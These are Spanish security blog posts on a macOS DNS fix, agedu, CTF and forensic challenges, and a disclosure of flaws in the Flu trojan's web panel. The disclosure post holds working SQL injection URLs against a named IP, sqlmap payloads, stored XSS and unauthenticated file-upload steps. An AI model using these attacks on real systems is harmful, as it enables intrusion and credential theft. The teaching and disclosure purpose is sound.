mDNSReporter error (MacOSX SnowLeopard 10.6.8)

10 days aggggrrrrrr.......

PROBLEM:

[Hax0r@HOST] LaunchDaemons $ ping www.google.com
... (I hate You For Ever)

[Hax0r@HOST] LaunchDaemons $ host www.google.com
www.google.com is an alias for www.l.google.com.
www.l.google.com has address 190.248.1.212
... (Ok)

In /var/log/system.log:

May 23 00:55:13 na mDNSResponder[1426]: Administratively prohibiting multicast advertisements
May 23 00:55:13 na mDNSResponder[1426]: SCPreferencesCreate failed: Permission denied
May 23 00:55:13 na mDNSResponder[1426]: WatchForInternetSharingChanges failed -65539
May 23 00:55:13 na mDNSResponder[1426]: Daemon start: mDNS_Init failed -65539
May 23 00:55:13 na mDNSResponder[1426]: Daemon start: mDNSDaemonInitialize failed
May 23 00:55:13 na com.apple.launchd[1] (com.apple.mDNSResponder[1426]): Exited with exit code: 253
May 23 00:55:13 na com.apple.launchd[1] (com.apple.mDNSResponder): Throttling respawn: Will start in 10 seconds

FIX:

(If you need the exactly .plist version go to http://www.opensource.apple.com/source/mDNSResponder/ , mine is mDNSResponder-258.21 from /var/log/system.log)

[Hax0r@HOST] LaunchDaemons $ pwd
/System/Library/LaunchDaemons
[Hax0r@HOST] LaunchDaemons $ ls -l | grep -i mDNS
-rw-r--r--  1 root  wheel   943 May 23 00:45 com.apple.mDNSResponder.plist
-rw-r--r--  1 root  wheel   543 May 22 23:13 com.apple.mDNSResponderHelper.plist
[Hax0r@HOST] LaunchDaemons $

[Hax0r@HOST] LaunchDaemons $ chmod -R 755 /Library/Preferences/SystemConfiguration
[Hax0r@HOST] LaunchDaemons $ launchctl unload -w com.apple.mDNSResponder.plist
[Hax0r@HOST] LaunchDaemons $ launchctl load -w com.apple.mDNSResponder.plist

In /var/log/system.log:

May 23 01:02:01 na mDNSResponder[1442]: mDNSResponder mDNSResponder-258.21 (May 26 2011 14:40:13) stopping
May 23 01:02:07 na mDNSResponder[1592]: mDNSResponder mDNSResponder-258.21 (May 26 2011 14:40:13) starting
May 23 01:02:07 na mDNSResponder[1592]: Administratively prohibiting multicast advertisements

[Hax0r@HOST] LaunchDaemons $ ping www.google.com
PING www.l.google.com (190.248.1.173): 56 data bytes
64 bytes from 190.248.1.173: icmp_seq=0 ttl=58 time=11.807 ms
...

:)


Thanx for the Hint @tinpardo

Proxys AntiTaurinos

Aprendiendo sobre vulnerabilidades WEB con el Flu-Project

Esta entrada esta realizada mientras paso por una etapa de Flu, así que no se me ocurrió un mejor titulo.

Mientras tiritaba de frío en mi cama, decidí buscar en Internet sobre lo que me estaba ocurriendo, pronto empecé a entender que mis síntomas se relacionaban ampliamente con los del Flu. Así fue como me fui contagiando de este interesante proyecto.

Las motivaciones que tengo para  escribir esta entrada son las siguientes:

• Explicar de forma práctica el tema de vulnerabilidades Web en el instituto donde enseño actualmente.
• Motivar al lector a que piense desde diferentes puntos de vista, no siempre desde el ofensivo.
• Hacerle publicidad al excelente proyecto colaborativo [Flu] de  Flu-Project.

Antes de explicar los fallos, debemos empezar por lo básico, ¿Qué es el  Flu?, y como no quiero decir mentiras, les dejo el enlace oficial donde se da la claridad sobre el proyecto: http://www.flu-project.com/sobre-flu

En resumen el Flu es un troyano que nos permite tener control sobre maquinas Windows y administrarlas desde un panel web creado con el lenguaje PHP, pero quizas lo mas interesante del proyecto es que es abierto y participativo, de esta forma las personas pueden ir agregando ideas para el desarrollo del mismo y al mismo tiempo ir creando contramedidas y experimentando con botnets de forma académica.

Nota: Ninguna BotNet sufrió o fue realmente lastimada durante la escritura de esta entrada. ;)

EMPEZAMOS POR LA INSTALACIÓN

La instalación del panel de control que actúa como cliente se hace de una forma rápida sobre cualquier entorno web que soporte MySQL y PHP, al panel de control lo llamamos cliente porque el funcionamiento de este esquema de troyano es como el del protocolo SNMP, esto significa que tenemos agentes (el troyano Flu) instalados en las estaciones Windows y un NMS (el panel web) que permite hacer las consultas a dichos agentes, en este contexto las consultas no son a una MIB, son peticiones de ejecución de comandos a la consola de los sistemas operativos que tienen los agentes.

Así que para instalarlo hacemos lo siguiente:

1) Descargamos la última versión de Flu:

PanelFlu# wget http://flu-project.googlecode.com/files/flu0.5.1b.rar
--2012-04-25 23:21:04--  http://flu-project.googlecode.com/files/flu0.5.1b.rar
Resolving flu-project.googlecode.com... 72.14.204.82
Connecting to flu-project.googlecode.com|72.14.204.82|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2893086 (2.8M) [application/x-rar]
Saving to: “flu0.5.1b.rar”

100%[===================================================================================================================================>] 2,893,086   5.12M/s   in 0.5s  

2012-04-25 23:21:07 (5.12 MB/s) - “flu0.5.1b.rar” saved [2893086/2893086]

PanelFlu# 

2) Desempaquetamos

PanelFlu# unrar x flu0.5.1b.rar 

UNRAR 3.70 beta 4 freeware      Copyright (c) 1993-2007 Alexander Roshal
Extracting from flu0.5.1b.rar
Creating    Servidor web                                              OK
Extracting  Servidor web/actualizarEstadoMaquina.php                  OK
Extracting  Servidor web/cerrar-conexion-bbdd.php                     OK
Extracting  Servidor web/conexion-bbdd.php                            OK
Extracting  Servidor web/configurar-ataque.php                        OK

...

3) Movemos el contenido web a donde queremos tenerlo (la raiz web)

4) Creamos la base de datos

Por omisión la base de datos se llamará flubbdd.
El usuario para entrar al sistema es admin y la contraseña 1234.

Una vez adentro encontramos los paneles de administración.

Para realizar las pruebas básicas podemos influenciar al Administrador de un equipo Windows para que ejecute el Flu.

AHORA SÍ, 

A lo que vinimos, a aprender seguridad web con el Flu!

El punto que quiero poner a consideración es el enfoque que tenemos como usuarios en un momento dado. El Flu es una herramienta académica (sus forks quizás no) y cuando la estamos usando es porque queremos practicar nuestra mentalidad ofensiva, pero incluso en ese momento deberíamos de verificar que nuestras herramientas ofensivas no puedan ser vulneradas. 

Hay casos reales donde Botnets han caído porque han fallado sus sistemas, han roto los sistemas de cifrado o de acceso a los paneles de administración, se imaginan a un Hyper BotNet Master  capturado porque su propia herramienta es vulnerable?, casos se han visto ...

El paralelo de las vulnerabilidades va contra el DVWA que es una herramienta para aprender bastante conocida ;)

A)  BRUTEFORCE

Es posible hacer ataques de fuerza bruta contra el panel de administración del Flu, en ninguna parte del código aparece un mecanismo de defensa, aunque el mismo podría estar en otra capa (UTM, WAF, etc).

El problema lo encontramos en el archivo login.php

B)  ATAQUE XSS (REFLECTED)


En este tipo de ataques el usuario ingresa algo y el sistema se lo devuelve, si el usuario ingresa código HTML/Javascript el sistema lo devuelve y el browser del usuario lo ejecuta, ustedes ya conocen la teoria. Donde puede existir una vulnerabilidad?


http://host/consola.php?maquina=XXXXXX__000C29834EED

Inyectamos el XSS en la consola de comandos.

El error se encuentra en el archivo consola.php

C) ATAQUE XSS (STORED)

**(no requiere estar logueado en el panel)

Este ataque es mas interesante puesto que el ataque XSS quedará almacenado en el panel del Flu y cuando el administrador lo use ejecutará una y otra vez el script que diseñemos. La forma de explotar la vulnerabilidad es reportar una nueva máquina ante el panel. ¿Cómo sabe el panel que la nueva maquina supuestamente infectada es real?, ¿Que mecanismo de protección usa?

Lo hacemos haciendo una petición HTTP así:

http://23.23.223.210/actualizarEstadoMaquina.php?m=MAQUINA_IMAGINARIA&s=5.1

En la variable m, podemos inyectar el XSS y observamos como aparece en nuestro panel.

El error esta en que no hay una forma de validar si la maquina nueva es real o no y textualmente leemos en el código:

"//Si no existe, creamos una nueva tabla con su IP, donde almacenaremos los comandos lanzados con sus respuestas. Y a�adiremos una nueva entrada

//en la tabla t_maquinas donde se encuentra el listado de todas las m�quinas infectadas por Flu"

Así que el panel creará una nueva tabla por cada petición que hagamos, como esta información debe ser recuperada para mostrarla en el panel principal, podemos hacer un XSS que se almacene, recuerden entre mas silencioso, mejor XD

El problema lo encontramos en el archivo actualizarEstadoMaquina.php 

D) SQL INJECTION

(requiere estar logueado en el panel o hacer un CSRF, XSS ;)


Ejemplo 1. 
Podemos intentar obtener los usuarios y claves de la base de datos del panel Flu, haciendo un SQLi así:

http://23.23.223.210/verInformacion.php?maquina=190.69.1.42__MAQUINA_IMAGINARIA%20WHERE%201%20UNION%20SELECT%20user,password%20from%20t_usuarios

El problema en este caso se puede ver en algunas variables a las que no se les ha puesto comillas simples, otras en cambio si las tienen.

Ejemplo 2. 
En el visor de imagenes:

http://23.23.223.210/verImagenes.php?maquina=XXX.XX.XX.XX__MAQUINA_IMAGINARIA%20WHERE%200%20UNION%20SELECT%201,concat(user,0x3A,password)%20from%20t_usuarios%20--

Hacemos click derecho sobre la sombra de la imagen y la guardamos con cualquier nombre, cuando la abramos con un editor de texto o la visualicemos en la consola, podremos ver algo así:

bash-3.2# cat verImagenes.jpeg 
admin:1234
bash-3.2# 

Lo interesante en este segundo ejemplo es que no es necesario estar logueado en el panel de administración.

E) SQL INJECTION BLIND

Como ejemplo podemos usar el mismo archivo verImagenes.php, con el parámetro id:

http://23.23.223.210/verImagenes.php?maquina=MAQUINA_IMAGINARIA&id=[sqib]

En este caso el ataque solo funciona si tenemos por lo menos un pantallazo de la maquina objetivo (para poder identificar el TRUE/FALSE). Intentemos obtener los usuarios del sistema MySQL donde esta el panel Flu.

bash-3.2# python sqlmap.py -u "http://23.23.223.210/verImagenes.php?maquina=200.32.0.1__003cF2F85098&id=1" -p id --users

    sqlmap/0.9 - automatic SQL injection and database takeover tool

    http://sqlmap.sourceforge.net

[*] starting at: 20:01:21

[20:01:22] [INFO] using '/Users/hax0r/sqlmap/sqlmap/output/23.23.223.210/session' as session file

[20:01:22] [INFO] resuming injection data from session file

[20:01:22] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file

[20:01:22] [INFO] testing connection to the target url

[20:01:23] [WARNING] the testable parameter 'id' you provided is not into the Cookie

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: GET

Parameter: id

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: maquina=200.32.0.1__00FFF2F83003&id=1 AND 4499=4499

    Type: UNION query

    Title: MySQL UNION query (NULL) - 1 to 10 columns

    Payload: maquina=200.32.0.1__00FFF2F83003&id=1 UNION ALL SELECT NULL, CONCAT(CHAR(58,112,104,102,58),IFNULL(CAST(CHAR(66,66,99,75,115,88,102,88,118,67) AS CHAR),CHAR(32)),CHAR(58,98,122,105,58))#

    Type: AND/OR time-based blind

    Title: MySQL > 5.0.11 AND time-based blind

    Payload: maquina=200.32.0.1__00FFF2F83003&id=1 AND SLEEP(5)

---

[20:01:23] [INFO] the back-end DBMS is MySQL

web application technology: Apache 2.2.22, PHP 5.3.10

back-end DBMS: MySQL 5.0.11

[20:01:23] [INFO] fetching database users

database management system users [5]:

[*] ''@'domU-12-31-39-09-30-5F'

[*] ''@'localhost'

[*] 'root'@'127.0.0.1'

[*] 'root'@'domU-12-31-39-09-30-5F'

[*] 'root'@'localhost'

[20:01:23] [INFO] Fetched data logged to text files under '/Users/hax0r/sqlmap/sqlmap/output/23.23.223.210'

[*] shutting down at: 20:91:23

F) CSRF

Podemos decir que todas las acciones que ejecute el administrador del panel no requieren verificación ni comprobación por lo que será muy fácil explotar CSRF en el panel.

Un ejemplo es el siguiente donde podemos agregar comandos a la BotNet sin que el administrador se entere, usando el archivo saveCommands.php y la variable commands.

G) UPLOAD FILE (de forma arbitraría)

**(no requiere estar logueado en el panel)

Esta vulnerabilidad permite subir el archivo que queramos al sistema donde esta instalado el panel Flu.


Como ejemplo creamos un archivo y lo convertimos a base64:

bash-3.2# nano test.php
bash-3.2# cat test.php 

bash-3.2# openssl base64 -in test.php -out test.php2

bash-3.2# cat test.php2
PD9waHAKCnBocGluZm8oKTsKCj8+Cg==
bash-3.2#

Creamos el HTML para enviar POST:

bash-3.2# cat flupload.html

bash-3.2#

Luego enviamos el form y listo, tendremos un archivo .php dentro del sistema (own the BotNet?).

La vulnerabilidad en este caso se encuentra en el archivo RecibirArchivo.php por dos motivos:

1. No valida que tengamos una sesión abierta, porque entonces una maquina nueva con el Flu no podría conectarse y enviar la información. Ups!

2. No hay comprobación de las variables nombre y formato.

H) OTROS

Otros aspectos que se pueden tener en cuenta para el futuro desarrollo del panel Flu son:

** Almacenamiento inseguro de los datos:

Las claves están almacenadas en texto plano en la base de datos MySQL.

** Claves por omisión:


En el archivo RecibirDatosVictima.php, encontramos:
$key = "qwertyuioplkjhgf";
$iv = "qwertyuioplkjhgf";

Son los valores usados para cifrar los datos enviados por el Flu, sería interesante que el usuario los pudiera definir desde el panel de administración.


CONCLUSIONES


Si estas actuando en modo ofensivo no pierdas el foco en la seguridad.


Si puedes colaborarle al proyecto Flu desarrollando y aportando ideas, en poco tiempo tendremos un software estable, lleno de características con las que todos podemos seguir aprendiendo.

Las vulnerabilidades están en todos lados, no pensemos que porque se trata de un software ofensivo no es peligroso, se puede volver peligroso si alguien decide darle un uso inadecuado(adecuado?). Un ejemplo de atacar al atacante lo pueden leer aquí.

Piensa en los scanners, exploits, crypters, encoders, ofuscadores, parches de seguridad, archivos de actualización, cracks, piensa sobre todo, en esos que te consigues en "el bajo mundo" donde siempre pensamos que todas las personas tienen un deseo de ayudar y que todo lo que se publica se hace con el ánimo de compartir y pelear contra el sistema (Abajo la leylleras2.0.exe). 

Muchas de las veces el TARGET seremos nosotros.

Saludos!

Qué es lo que ocupa tanto espacio en mi maquina? - Agedu

Siempre olvido como se llama la herramienta que me ayuda a encontrar en Linux y MacOSX, todos esos archivos gigantes que están llenando el disco duro, para solucionar eso voy a escribir esta corta entrada. Espero que pueda ser de interés para alguien mas.

La herramienta se llama Agedu y esta licenciada bajo un estilo similar al licenciamiento BSD, así que puedes usarlo para lo que quieras siempre que mantengas el mensaje de la licencia, para mas información leer el archivo LICENCE que se encuentra dentro del .tgz original.

Los pasos para usar la herramienta son:

1) Lo primero que hacemos es descargar las fuentes de la aplicación:

$wget http://www.chiark.greenend.org.uk/~sgtatham/agedu/agedu-r9424.tar.gz

Si lo quieren hacer desde el repositorio subversion lo pueden hacer con el comando:

svn co svn://svn.tartarus.org/sgt/agedu

2) Luego lo descomprimimos y entramos al directorio creado: 

nonroot $tar zfvx agedu-r9424.tar.gz  && cd agedu-r9424

x agedu-r9424/

x agedu-r9424/alloc.h

x agedu-r9424/winscan.c

x agedu-r9424/licence.c

x agedu-r9424/fgetline.h

x agedu-r9424/trie.c

...

3) Compilamos con los tres pasos mágicos:

./configure

make

make install

Al compilarlo en MacOSX obtengo el siguiente error:

httpd.c: In function 'make_listening_sockets':

httpd.c:547: error: 'HOST_NAME_MAX' undeclared (first use in this function)

httpd.c:547: error: (Each undeclared identifier is reported only once

httpd.c:547: error: for each function it appears in.)

make[1]: *** [httpd.o] Error 1

make: *** [all] Error 2

Para solucionarlo defino la variable en el archivo httpd.h

nonroot $diff -uN httpd.h.orig httpd.h      

--- httpd.h.orig        2012-04-23 15:00:11.000000000 -0500

+++ httpd.h     2012-04-23 15:00:35.000000000 -0500

@@ -6,6 +6,7 @@

 #define HTTPD_AUTH_MAGIC 1

 #define HTTPD_AUTH_BASIC 2

 #define HTTPD_AUTH_NONE  4

+#define HOST_NAME_MAX 256

 struct httpd_config {

     const char *address, *port;

nonroot $

Eso significa que agrego la línea: #define HOST_NAME_MAX 256 en el archivo httpd.h

Luego intento el make y el make install, esta vez no hay problemas.

4) Para conocer las opciones de agedu podemos ejecutar el comando sin opciones, eso nos muestra algo similar a:

nonroot $agedu 

  usage: agedu [options] action [action...]

actions: -s, --scan directory    scan and index a directory

         -w, --web               serve HTML reports from a temporary web server

         -t, --text subdir       print a plain text report on a subdirectory

         -R, --remove            remove the index file

         -D, --dump              dump the index file on stdout

         -L, --load              load and index a dump file

         -S, --scan-dump directory scan only, generating a dump

         -H, --html subdir       print an HTML report on a subdirectory

         --cgi                   do the right thing when run from a CGI script

...

Las opciones básicas que uso para identificar los archivos que tienen mas peso en mi sistema y por ende que tienen mayor posibilidad de ser eliminados son:

nonroot $agedu -s /

Este comando permite indexar todo el sistema partiendo desde la raiz, en un sistema con 250GB de disco puede tomar aproximadamente  10 minutos hacerlo. El resultado será almacenado en el archivo llamado agedu.dat.

Una vez indexado el sistema, puedo visualizar los resultado con el siguiente comando:

nonroot $agedu -w

Using HTTP Basic authentication

Username: agedu

Password: t1nntgbe9atj2jkq

URL: http://localhost:64230/

Lo que pondrá en funcionamiento un servicio web que requiere autenticación básica. Los datos para el proceso de login se muestran una vez se ejecuta el comando, en este caso el usuario es agedu y la contraseña t1nnrgbe8atj2jkq.

Para ingresar a los resultados, apuntamos el navegador a: http://localhost:64230/

                                      

Eso es todo!, ya podemos explorar de forma ordenada el sistema y empezar a eliminar todos esos datos que ya no queremos y nos están ocupando espacio.

Si alguien quiere entender cual es el algoritmo usado para indexar la información la pueden leer en:

http://www.chiark.greenend.org.uk/~sgtatham/agedu/tree.html

Pd: Este software también funciona en Windows.

BarCampSE v 2.0

 

http://www.barcampse.org/

@barcamp_se

@warcamp

MiniReto - Deface It!

Hace un par de días publiqué un mini reto (lo encuentran aquí) con el objetivo de pasar un rato agradable y aprender un poco. La verdad el tema central del reto tiene como base una historia de pentesting real en un ambiente corporativo, pero quise recrear el escenario para que otros profesionales y estudiantes no descarten estos vectores de ataque dentro de sus propios análisis. Obviamente cambian algunas condiciones como por ejemplo que en la vida real fue un entorno LAN y se usaban NAS y SANs reales, en este caso el protocolo se lleva a Internet y se usa un simple servidor corriendo Linux.

Hasta el momento he publicado un total de 3 mini retos, casi siempre dentro del entorno académico donde enseño, pero esta vez con ayuda de algunas listas de correo tuvimos un juego no tan local. El mini reto tuvo una duración de 24 horas aproximadamente, tiempo estimado para que alguien pudiera dar con la solución, quizás fue poco tiempo, quizás fue mucho, lo importante era aprender en el camino.

El reto fue anunciado así:
Link en Sec-Track (http://www.sec-track.com/deface-it-reto-3-by-nonroot)

La administradora de red vanessa  publicó su primer portal web.
Su fuerte son otros temas, sin embargo le causa curiosidad el tema de los servidores web, por eso se animó a crear su propio espacio personal.

Misión: Hacerle un DEFACE al portal:  http://107.22.221.188/

Reglas:
- Permita el juego de los demás (juego limpio)
- Gana el primero que haga el defacement
- El premio es una calcomanía de BlackHat (es enserio, no hay mas plata para premios :P )
- Canal de soporte en #ctf-colombia (irc.freenode.net)
- Vale todo! (menos D.o.S, D.D.o.S)
- Think Different!

A jugar!

Algunas estadísticas del reto:

 

Hasta donde me dice el apache y sus logs, entraron mas de 700 visitantes y un total de 477 IPs únicas, como quien dice, que estuvo movido el reto. La mayoría de logs se recolectaron del sistema web incluso después de haber twitteado (@nonroot) que el reto NO era web.

Hubo jugadores no solo desde Colombia, las dos IPs que mas se acercaron estaban en Egipto y otra desde Argentina. Sin embargo nadie solucionó el reto.

Muchos de los jugadores estuvieron preguntando por la solución, así que saqué los archivos de configuración y los discos usados para que puedan recrear el escenario.

 

El reto como se dijo mientras estuvo abierto, si bien tenia como objetivo hacer un defacement (lo que claramente implica una plataforma web), no obligaba a que se resolviera usando vulnerabilidades web.

Siempre hay que analizar todos los vectores de ataques posible, porque no sabemos donde encontraremos la vulnerabilidad. Herramientas como nikto, dirbuster, etc, son buenas, pero no siempre van a funcionar en todos los entornos y este no era el entorno para usarlas.

El reto apuntaba a un target iSCSI implementado en Linux con la herramienta: 

http://sourceforge.net/projects/iscsitarget/files/ 

Las pistas iniciales debían conducir a encontrar el puerto correcto y usar las herramientas para dicho protocolo, después se encontrarían con mas pistas hasta alcanzar la solución final.

Para reproducir el escenario se requiere un sistema linux, instalar el target ISCSI mencionado y poner los "Discos Duros" en el directorio /backup/ , para mas información mirar la configuración anexa del target (ietd.conf).

El archivo necesario para reproducir el escenario lo pueden descargar desde aquí:

http://dc444.4shared.com/download/xaTbUIAE/Reto3-Defaceit.zip

Y la plataforma web?, la plataforma web era un joomla con todas las configuraciones necesarias para que no fuera vulnerable (a menos que alguien tenga un zeroday para la última versión), así que no era relevante en la prueba. El objetivo era conseguir el password de acceso administrador  por otro medio y luego ingresar al portal y hacer el defacement.

A tener en cuenta durante el desarrollo del reto:

• Los LUN están formateados, tener en cuenta estos formatos para seleccionar un cliente adecuado.
• Existe una recomendación para usar 12 caracteres en los passwords CHAP en ISCSI, esto aunque no lo crean reduce el ámbito de pruebas para un bruteforce, por ejemplo, pocas personas quieren recordar passwords de 12 caracteres complicados.
• ¿Cómo hago para saber que el protocolo es iSCSI, si no esta en el puerto por defecto?
• ¿Cómo hago para hacerle fuerza bruta al proceso de discovery de los targets? (para el reto el discovery estaba sin passwords, pero es posible configurarlos, cómo haríamos para descubrirlo?)
• ¿Cómo hago fuerza bruta para el password del target (CHAP)?
• Si logro encontrar los tokens en el intercambio CHAP, ¿Cómo puedo encontrar el password?

Espero que se animen a montar el reto y postear sus conclusiones, como ya saben, tenemos el wiki de Sec-Track disponible para hacer los aportes.

Gracias a todos los que jugaron y a los diferentes proyectos (kungfoosion, sec-track, ctf-colombia, hackplayers) por replicar el tema.

Saludos.

Challenge 7 of the Forensic Challenge 2011 - HoneyNet.org

Unos días después de anunciar los ganadores del reto 7 de honeynet me ha llegado el fabuloso premio que pueden ver en la imagen. La verdad el premio es compartido con Camilo Zapata (duma) ya que participamos juntos en el reto, pero como usé mi dirección de correo, me quedo con el :P 

El reto consistió en un análisis forense a una maquina Linux comprometida por el servicio Exim y aunque personalmente no quede muy a gusto con el resultado, nos divertimos analizando las imágenes de memoria del sistema.

En el paper final pueden encontrar las respuestas a las preguntas del reto y unos comentarios sobre nuestros puntos de vista, pues en las imágenes a analizar encontramos evidencia del proceso de construcción del reto, por lo tanto lo descartamos como evidencia de intrusión, cosas como:

- La maquina que recolectaba la imagen (dd) con la que jugamos no podía ser la maquina del intruso (según el timeline), sin embargo el primer puesto dijo que eso era cierto.

-La maquina del intruso correspondía a una sola IP, la segunda IP parecian ser pruebas contra el reto (pruebas de diseño), en nuestro concepto estos fueron pequeños errores en la preparación del reto, sin embargo en el paper ganador estos datos se asociaron a los intrusos.

Para validar el alcance de la explotación de los dos exploits usados, investigamos el tiempo de acceso a las librerias de los binarios ejecutados, esto nos daba la certeza del momento exacto y si hubo o no intrusión.

Eso es todo, con este post los quiero animar a participar en los próximos retos del proyecto HoneyNet, que si bien no esperamos ganar premios significativos ($$), es un escenario propicio para aprender.

Los solucionarios al reto 7 de forense los pueden descargar de:

http://www.honeynet.org/challenges/2011_7_compromised_server

Update: Solucionario en Español:
http://www.openbsdcolombia.org/honeynet/RetoForense7-Honeynet-Fernando_Y_Camilo.pdf

Hasta la próxima!

Campus Party Colombia 2011

Este año mi participación en #CPCO4 estuvo bastante movida, por un lado y como lo he hecho en las pasadas 3 Campus Party de Colombia, estuve apoyando el equipo de tecnología con el montaje y puesta en marcha de la red (IPv4, IPv6) para más de 4500 campuseros, este año el equipo de tecnología recibió el apoyo de todo un batallón de estudiantes de la Escuela de Ingeniería Julio Garavito.

[Pegar foto de los estudiantes de la escuela Aquí]

 

Luego y durante la semana de campus estuve pendiente de que las cosas funcionaran adecuadamente, encontrando intrusos informáticos y solucionando problemas no tan comunes como personas saltando en las cajas de los switchs, mientras gritaban BXXBIS!! BXXBIS!!.

Este año también estuve con dos grandes amigos (Jhonatan Silva y Camilo Zapata) presentando un taller en el área de seguridad y organizando el reto informático denominado para esta edición: WarGame Campus Party (#WGCPCO4), por primera vez en Colombia se diseña un reto con estas características y la expectativa es que los niveles de los juegos deben seguir aumentando.

El reto patrocinado por Campus Party buscaba que los participantes solucionaran 10 niveles de diferentes dificultades y sumaran puntos hasta obtener 900 puntos. El premio para el ganador fue un IPAD 2.

Algunos pantallazos de la plataforma que desarrollamos:

 Sistema de captura de banderas

 Comandos por consola, para los mas geeks!

 Sistema de descarga de retos con pistas incluidas

 Cada nivel entregaba sus correspondientes pistas, por entorno gráfico o consola

 La pirámide de retos, diferentes niveles de dificultad

 Pantallazo general de la plataforma del #WGCPCO4

En el #WGCPCO4 se inscribieron 129 personas de las diferentes ciudades del país y estuvieron jugando hasta el último día 40, la puntuación final se puede ver a continuación:

Desde hace varios años hemos estado participando en retos de seguridad, también trabajando en el desarrollo de diferentes plataformas que hacen posible que las personas puedan divertirse y aprender jugando. Para dar soporte a todos los retos de seguridad informática tenemos una lista de correo donde puedes conocerte con otras personas interesadas en estos temas:

LISTA DE CORREO:

https://groups.google.com/group/ctf-colombian-team

Las diferentes presentaciones que hicimos como grupo en #CPCO4 las pueden descargar aquí:

• Presentación del WarGame CPCO4
• Presentación del Taller IPV6
• Presentación del Taller de Auditorías Informáticas sdd
• Video de la Presentación

Y lo más esperado, las soluciones (Writeups) del #WGCPCO4:

• Solucionario (1er puesto)  Fernando Muñoz (@bef0rd)
• Solucionario (2do puesto) Daniel Pérez (@_DaPa_)

Por ahora no es más, quiero agradecer a todas las personas de las cuales siempre aprendo algo en cada evento, a los amigos con los que me reencuentro cada año y en general a todas las personas que hacen posible que una Campus Party sea tan divertida como puede ser. Próxima estación #CPES15 y #CPMX3

Hasta la próxima!